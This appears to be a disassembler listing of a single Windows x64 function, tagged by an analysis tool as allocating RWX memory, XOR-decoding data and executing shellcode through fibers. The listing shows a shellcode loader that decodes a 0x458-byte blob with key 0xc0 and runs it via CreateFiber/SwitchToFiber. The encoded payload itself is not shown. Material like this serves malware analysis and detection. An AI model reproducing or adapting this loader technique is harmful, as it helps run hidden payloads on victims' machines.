Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows fibers

Disassembly:
sub rsp, 0x498
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x480], rax
lea rcx, [0x140002260]
mov r8d, 0x38c
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x20]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x40]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm1
movups xmmword [rdx + 0x30], xmm0
mov qword [rdx + 0x40], rax
mov eax, dword [rcx + 0x48]
lea rcx, [rsp + 0xec]
mov dword [rdx + 0x48], eax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor ecx, ecx
mov edx, 0x458
mov r8d, GetModuleHandleW
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movdqa xmm2, xmmword [0x140002330]
lea rdx, [rsp + 0x30]
mov r9, rax
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rdx - 0x10]
lea rdx, [rdx + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x40], xmm1
movdqu xmm0, xmmword [rdx - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rdx - 0x30], xmm0
movdqu xmm0, xmmword [rdx - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rdx - 0x20], xmm0
cmp ecx, 0x440
jb 0x1400010f0
movsxd rax, ecx
cmp rax, 0x458
jae 0x140001161
lea rax, [rsp + rax + 0x20]
nop dword [rax + rax]
xor byte [rax], 0xc0
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x458
jb 0x140001150
mov rdx, r9
lea rax, [rsp + 0x20]
mov ecx, 8
nop
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001170
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x50]
xor r8d, r8d
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmmword [rdx + 0x40], xmm0
mov qword [rdx + 0x50], rcx
mov rdx, r9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
xor eax, eax
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140001240
add rsp, 0x498
ret